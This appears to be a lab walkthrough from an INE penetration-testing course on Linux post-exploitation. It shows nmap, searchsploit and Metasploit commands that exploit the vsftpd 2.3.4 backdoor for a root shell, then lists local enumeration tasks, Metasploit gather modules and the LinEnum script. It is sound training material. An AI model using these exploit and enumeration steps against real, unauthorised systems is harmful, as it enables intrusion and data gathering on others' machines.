🔬Linux Post-Exploitation

🔬 INE LAB

  • Target IP: 192.218.227.3

  • Local Linux Enumeration

📝📌 Always document and save all the Post-Exploitation Local Enumeration in a local file.

Enumeration & Exploitation

nmap -sV 192.218.227.3
	21/tcp open  ftp  vsftpd 2.3.4
searchsploit vsftpd 2.3.4
service postgresql start && msfconsole -q
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
setg RHOSTS 192.218.227.3
setg RHOST 192.218.227.3
run
    [+] 192.218.227.3:21 - UID: uid=0(root) gid=0(root) groups=0(root)
    [*] Found shell.

/bin/bash -i
	root@victim-1:~/vsftpd-2.3.4#

Local Enumeration

System Information

  • In the Meterpreter session

  • In the /bin/bash session

  • Enumerate kernel

  • Enumerate environment variables for the current user

  • Display CPU information

  • Show RAM usage

  • List storage devices

  • Enumerate installed packages

Users & Groups

  • Privilege escalation is not necessary in this case.

  • Enumerate users

  • Check if a user is part of the root/sudo group

  • Enumerate current/recent logged-on users

Network Information

  • Back into the Meterpreter session

  • Show network adapter info

  • Display the current running TCP/UDP services

  • Display the routing table and the ARP cache

  • In the /bin/bash session

  • List locally mapped domains

  • Show default DNS name server

  • Display the ARP table

Processes & Cron Jobs

  • Enumerate all running processes, from a Meterpreter session

  • In the /bin/bash session

  • List running processes (on the Kali Linux if the target machine does not have to commands)

  • Dynamic check of running processes

top
  • List the cron jobs

📌 Scheduled cron jobs can be misconfigured and vulnerable to exploitation and privilege escalation!

  • Show cron jobs for the current user

Automating Local Enum

🔬 INE LAB

LinEnum - bash script that automates common Linux local enumeration

Enumeration & Exploitation

Metasploit Post-Exploitation

  • Enumerate configuration files

Metasploit - post/linux/gather/enum_configs
  • Enumerate network fino

Metasploit - post/linux/gather/enum_network
  • Enumerate local system information

Metasploit - post/linux/gather/enum_system
  • Check if the target is a VM or a container

Metasploit - post/linux/gather/checkvm

LinEnum

  • Copy the content of the LinEnum.sh script and save it in the lab environment

  • Back into the Meterpreter session, copy the LinEnum.sh file into the /tmp target directory

  • Run LinEnum.sh and output the results in a file

LinEnum

Last updated

Was this helpful?